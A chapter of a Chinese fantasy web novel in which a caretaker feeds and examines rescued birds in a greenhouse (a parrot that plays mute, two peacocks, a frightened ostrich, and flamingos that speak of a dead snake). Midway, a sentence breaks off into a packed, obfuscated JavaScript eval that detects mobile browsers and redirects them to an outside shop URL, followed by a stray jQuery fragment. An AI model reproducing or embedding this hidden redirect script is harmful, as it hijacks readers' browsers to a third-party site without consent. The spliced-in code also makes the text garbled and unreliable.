初雪停了,短暂地停,长期生活在冬令市的人都清楚,小雪地缓停,昭示着未来一两天的大雪。偶尔遇上气流突发紊乱,大雪的时间还会多几天。路上积雪成镜,冰凝了又化,化了又结。

    高科技扛不住自然的打压,各方调动。趁未来几天的无人机配送停工前,白寻夏算上霍普斯的伙食,在网上多下单了些储备粮。

    走前,她喂了霍普斯几颗鸡蛋,和一个鸡腿肉。

    被关进狭窄的空间里,似乎没有影响到他的食欲,霍普斯适应良好,短短一夜已经学会如何在玻璃罩内蠕动身躯,调整到舒服的位置,继续冬眠。

    大门的内外双层锁落下,白寻夏背着工具往鸟类生态园的方向去。

    依照大自然的法则,鸟园中大部分鸟类都有迁徙的习性,无奈没到能把他们放归的时候,只能将他们困在这一隅透色玻璃的天地下。

    好在病好后,小鸟们恢复过往的生机,看见户外落雪,自觉天气寒冷,没有吵着出去玩闹。

    玻璃暖房地势宽敞,内里不做特殊隔断,借缩放技术铺路,路径不相通,不同种类的鸟有一定范围的活动空间,却也不会闯入别的鸟的领地,导致为争抢地盘互殴。

    白寻夏来走了几次,逐渐熟记这里的道路,不用再借着地图摸寻,甚至自己找到一条更近的路线。

    仿生态的热带树木突兀地栽在其间,她拨开厚肥的叶片,朝里望去,鹦鹉兰花瓣反季节地盛放,行色俱像金刚鹦鹉的羽毛,昳丽盎然地占据全部视野,风从换气口经过,花瓣摇曳,四处鸟叫高低起伏。

    白寻夏没瞧见杰夫的身影,把背包随手挂在树枝上,准备寻处位置坐下。

    爱德华逃出的洞,她找了几天,修缮好窗户封上了,左右杰夫飞不出这里,她拍掉一张树桩样矮凳上的灰坐着等,双手捧住脸颊,食指不紧不慢地在颊肉上轻敲。

    一秒、两秒、三秒……

    脑后遽然袭来一阵急促的拍翅声,疾风卷起,来者似是起跳力度极大,有树枝断裂的声响。

    疾风和展翅声逼近脑后,白寻夏这时猛然站起转身,动作迅敏地扔出一颗塑料圆球,圆球在空中炸开,铺开一张网,将行凶的鸟儿罩住,四个角的碎块分泌黏液,牢牢地粘在地上,让他动弹不得。

    自打搬来暖房,在沈苗开的药治疗下好转后,几乎每天都要上演这一出。

    杰夫屡次出手,屡次不讨好,多抓几次也就熟练了,被网压制在地上,拱拱身子发现顶不开,便老实地趴着,两对羽翼不舒适地张开铺成一条红毯。

    “会疼吗?”白寻夏几步跑上前,嘴上问着,却没把杰夫放开,就着这个姿势,用戴了防护手套的手掰开他的喙。

    她拿出尾端带摄像的橡胶管,放进杰夫嘴里,一点一点地往里塞。

    在鹦鹉的气管和支气管的交界处,气管环变形区域的鸣管位置,就是鹦鹉发声的地方。

    反正已经将杰夫得罪了,不若趁现在拍,之后不知道要找多少个机会,才能这样安全地靠近他。

    白寻夏拍摄鸣管照片传给沈苗,眼下冬雪清晨,距离白塔上班时间还早,沈苗应当是刚起没多久,传去的照片即刻显示已读,投影的蓝屏模糊几秒后变得清明。

    上头印出沈苗审阅后得出的结论。

    这结论太荒谬,以至于白寻夏有那么一瞬间,怀疑过沈苗的判断,急不可耐地在光环投影上输入“真的吗”又匆匆删去,回了句谢谢。

    她转头隔着网把杰夫抱起,手指挠了挠鹦鹉的耳下。

    环颈的红绿羽毛在她的抚摸下,肉眼可见地蓬松,杰夫不待见白寻夏,却坦然地享受着她的伺候,挠敏感处的手把他伺候得极舒服。

    白寻夏一言不发地细听,等了好一阵儿,都没听见他叫唤,她放下手。骤然间止住挠痒,如同吃饭吃到一半就被人夺去饭碗,杰夫忿忿地眯起眼,鸟喙随着沉重的呼吸缓缓张开。

    周身的羽毛膨大,几乎要成一颗毛球,愤怒的小鸟似要爆炸。

    看样子要骂人了。

    白寻夏就等着。

    可等到奓开的羽毛平顺地贴回鸟儿的身上,杰夫依旧一声不吭。

    手腕光环的屏光黯淡,白寻夏只能相信沈苗的话。

    这只鸟儿欠的,喜欢装哑巴。

    玻璃暖房内花树种类繁多,行走其间,被各类叫不上名字的花散发出的香气包裹,白寻夏周身若有似无的鸢绒花冷香不甚明显。

    她绕了几个弯,开了几扇门,抵达孔雀的栖息地。

    人造溪流自落叶林而出,围绕灌木丛盘桓,走过草丛的窸窣声胜过蜿蜒潺潺的溪流,白孔雀喙啄一浆果抬头。

    “哥哥,怎么了?”赞恩步履轻盈,一步一点头地走近哥哥。

    卢克抖抖身子,后端的尾羽掩饰不住兴奋地张开:“我好像听见她的声音了。”

    赞恩朝他看的地方望去。

    孔雀视听发达,相对之下嗅觉稍薄弱,卢克踩进溪流,淌起水花,细闻那抹不明显的冷香,轻点的头颅,奓开的羽毛,无一不在诉说欢喜:“她来了。”

    白寻夏此前从未养过鸟儿,她对猫狗更熟悉,毕竟后二者和人类的关系连系数万年,就算不亲自养一遍,它们的行为习惯也能说出个大概。

    孔雀的习性行为恰好处于她的知识盲区,她不太懂,为何每次来,卢克和赞恩总爱站入口处等她。

    这念头若被同样爱在她回家时,到门口迎接的爱德华知晓,估计要被他好一番闹腾。

    孔雀之间像是商量过,每次见白寻夏走近,都会一前一后地展开尾羽,如同两朵变温盛开的花卉。他们用鸟喙贴近她的脸庞,像贵族间的贴面礼,姿态高雅却不失礼节地欢迎她。

    白寻夏受宠若惊,能一次性摸两只大鸟,搁以前在白塔,她是不敢想的。有些喜欢动物的向导,没时间参观动物园,会通过抚摸哨兵的精神体解馋。

    白寻夏做不到,面对那群凶神恶煞的哨兵精神体,她脑子里光想着如何与他们周旋了,上手更是想都不敢想。

    她将孔雀这些行为,归咎于他们对她的喜爱。

    能被卢克和赞恩信赖欢喜,白寻夏认为自己做的一切都是值得的。

    她走上溪流中间的石板,人造溪流并不宽,抬脚就能跨过,中间铺就的石板有些多余,但白寻夏喜欢踩着它过去,松动的石板踩上时,会和底部砂石摩擦,水流穿行,发出类似孔雀鸣叫的短促声响。

    白寻夏喜欢用这种方式向卢克和赞恩回以友好。

    她也有对照视频学习过鸟叫,不过事实证明,没有天赋的事,再怎么努力也没用。她模仿的叫声,连爱德华都听不懂。黑天鹅只会捧场的嘎嘎叫,她练得好不好也不清楚,索性放弃折腾自己。

    两只孔雀引颈,齐齐走向她,卢克缓步落在赞恩身后,看见白寻夏亲切地抱住赞恩,尾羽放开些,又不着眼地闭合,耷拉在身后,像缀了朵白绢花。

    白寻夏拥抱过赞恩,再不厚此薄彼地上前拥住卢克。

    身上轻浅,却无法忽略的气息,尽数闯进孔雀嗅觉薄弱的鼻腔,往日纯粹的鸢绒花,平白多了道湿润的草木气,气势强盛地冲破了鸢绒花的清香与冷冽。

    白孔雀身形僵住,隐约抖动起来。

    白寻夏有所察觉,松开他抬眸问:“卢克,冷吗?”

    暖房隔绝外界全部寒冷,配有换气孔交流新鲜空气,一路走过,白寻夏鼻尖微微冒出点湿汗。

    根源可能不在温度上。

    且就在刚才,她拥抱赞恩时,他的身体也有一时的僵直,像是……在害怕什么。

    相处时间长了,白寻夏逐渐能从动物那满是毛绒的脸上,窥见一二。

    担心玻璃房有她没找出来的漏洞,让孔雀的领地混进奇怪的生物,比如又一条她没见过的蛇之类的,白寻夏环顾四周,准备检查一番。

    卢克及时用喙咬住了挎包的肩带,他似乎在紧张,仿佛下了好大的勇气才拉住她,浑身羽毛似奓非奓地绽开些,又被他拼命压制。

    这么明显的不对劲,白寻夏不是没看见,但没想好要不要追根究底

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17682034|205905||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。

    卢克脸上杂乱的白绒看不见往日的冷静,他竭力地不表现出来,不知是不是风吹过,连这一点绒毛也微颤着。

    白寻夏心疼了,或许只是动物的小秘密,她收回要去探明四周的脚。

    再看两只孔雀,他们的神情已因她的动作恢复如常。赞恩靠近她的挎包,鸟喙叼开布盖,埋进包里,翻找白寻夏随身携带的小零食。

    看见孔雀做出熟悉的亲昵行为,白寻夏才稍放心。

    需要喂食的动物较多,她能够陪伴每只的时间不长,在此处停留十几分钟,作为休憩后,再往鸵鸟居所的方向走去。

    白寻夏离开得急,迎面撞上低垂树枝的宽大树叶,震得叶片激烈地上下摇荡。

    叶片起落间,斑驳树影印入两对忧虑的眸里,积雪白羽、夏树绿毛在微不可察地轻颤。

    白寻夏见到的雷妮,正埋首挖土,这算这只鸵鸟的一大爱好。

    等她走近,洞挖好了,雷妮把头放进去,做一副两耳不闻窗外事的模样。

    不是所有的鸵鸟都像动画片那样,遇到危险就会把头埋进土里。

    雷妮性格胆小,看不见听不见的黑暗能够让她心安。白寻夏早适应,但今天略有不对劲。

    近来她与雷妮亲近许多,雷妮挖土把自己埋起来的习惯,当她的面已经鲜少发生。

    白寻夏手里拿着雷妮爱吃的青草,担心她害怕过度,把自己闷死,想哄她出来,但好说歹说,她都只管埋进土里抖屁股。

    雷妮的恐惧显而易见,屁股上面乱颤的羽绒,频次比平日快了些。

    “雷妮。”白寻夏不放心地坐下询问,“你在害怕什么吗?”

    巨大的鸵鸟在沙土中闭上双眼,脖子僵直了瞬,好像有起来回答她的冲动,但最后惊惧战胜了理智,她屁股颤抖的频率更快了。

    白寻夏怕雷妮应激,不敢多留:“好吧,给你准备的早餐我放食碗里了。”

    她走后许久,雷妮也不敢出来。

    白寻夏没走太远,用光环查阅各区域监控,在她离开后,大家都不约而同地恢复正常,她忍不住咕哝:“一个二个,今天都怎么了?”

    甫一踏入盐水地,本还在打架的阚泽和方少宇,一瞧见她,马上停战,飞到各自的石头上站着,远远地看着她。

    唯一愿意同她交流的,还是莱西,不过她没认出鸟来。

    阿卡索的三只火烈鸟常打架,有时是阚泽和方少宇,有时是莱西和方少宇,分清落单那只很容易,但要分清阚泽和莱西,得看哪只鸟对另一只更谄媚。

    可他们今天没凑一起,白寻夏拎着包没敢轻易开口喊鸟。

    被别人叫错名字,白寻夏会难过一小会儿,以己度鸟,本就长相相似的火烈鸟,又如此聪明,被认错肯定更难过。

    靠前的火烈鸟目光落在她手上,随后压低身子,张开翅膀,将盐水地拍出水花。

    光透过玻璃浸染四溅的水珠,晶莹剔透的水花竟有金粉的色彩。

    白寻夏终于认出来了,这是莱西,只有莱西会以这种方式告诉她,把她做的鸟饭撒进盐水地里。

    她依言照做,撒下她跟着网络博主学做的鸟饭。切碎的蔬菜与小鱼虾、螺旋藻类搅合做成的小团子,落进水里也不散开。

    以往撒下没多久,三只火烈鸟不论在为什么事打架,都会先停战,争先恐后地啄食。

    今天怪到一起去了。

    前面好歹都吃了她给的东西,到火烈鸟这儿,他们却静在原地观望。

    微微启合的鸟喙,发出同一频率的鸣叫。

    “蛇的味道?”

    “傻鸟,他早死了。”

    “他为什么会死?”

    “泽,是他。”

    朝日金辉洒入盐水地,水面反射的光幽幽升空,合着奇怪的叫声,他们周身的粉光变得诡谲。

    白寻夏被慑住,仓皇退后,山地靴踏进水中,惊起削微响动。

    火烈鸟们仿佛被这声响唤醒,姿态神情顷刻恢复如常,接二连三地走进水中啄食。